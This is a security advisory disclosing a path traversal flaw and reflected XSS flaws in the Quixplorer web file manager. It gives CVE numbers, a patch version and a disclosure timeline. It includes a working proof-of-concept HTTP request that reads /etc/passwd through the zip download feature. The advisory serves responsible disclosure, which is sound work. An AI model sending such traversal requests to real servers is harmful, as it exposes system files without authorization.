Trustwave SpiderLabs Security Advisory TWSL2013-030:
Multiple Vulnerabilities in Quixplorer

Published: 11/06/13 
Version: 1.0

Vendor: Quixplorer (http://quixplorer.sourceforge.net/, https://github.com/realtimeprojects/quixplorer )
Product: Quixplorer
Version affected:  2.5.4 (git version) and prior

Product description:
QuiXplorer is a multi-user, web-based file-manager. It allows you to manage
and/or share files over the internet, or an intranet.

Finding 1: Path Traversal
Credit: Vikas Singhal of Trustwave SpiderLabs
CVE: CVE-2013-1641
CWE: CWE-22

A path traversal vulnerability was found in the "download files as zip
archive" functionality of the application.  This vulnerability may allow an
attacker to view files outside the website's root directory.

The following Proof of Concept (PoC) illustrates the HTTP request which can
exploit the vulnerability to download "/etc/passwd" from the filesystem
using the "zip download" functionality.

POST /quixplorer1/src/index.php?action=post&order=name&srt=yes HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/quixplorer1/src/index.php
Cookie: adminer_version=0; PHPSESSID=7m2cu7qp2bose5cm8pcet5vop0
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

do_action=download_selected&first=y&selitems%5B%5D=index.php&selitems%5B%5D=/../../../../../../../etc/passwd

Finding 2: Cross Site Scripting (XSS) 
Credit: Vikas Singhal of Trustwave SpiderLabs
CVE: CVE-2013-1642
CWE: CWE-79

A Reflected Cross Site Scripting (XSS) vulnerability was found in multiple
instances of the application.

Reflected cross-site scripting vulnerabilities arise when data is copied
from a request and echoed into the application's immediate response in an
unsafe way. An attacker can use the vulnerability to construct a request
which, if issued by another application user, will cause JavaScript code
supplied by the attacker to execute within the user's browser in the
context of that user's session with the application.

List of vulnerable URLs and corresponding parameters are listed below:

/quixplorer/src/index.php [dir parameter]
/quixplorer/src/index.php [item parameter]
/quixplorer/src/index.php [name of an arbitrarily supplied URL parameter]
/quixplorer/src/index.php [order parameter]
/quixplorer/src/index.php [searchitem parameter]
/quixplorer/src/index.php [selitems%5B%5D parameter]
/quixplorer/src/index.php [srt parameter]

Remediation Steps:
The vendor has released a fix in version 2.5.5

Revision History:
08/30/13 - Vulnerability disclosed to vendor
11/03/13 - Vendor releases patch
11/06/13 - Advisory published

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
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implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
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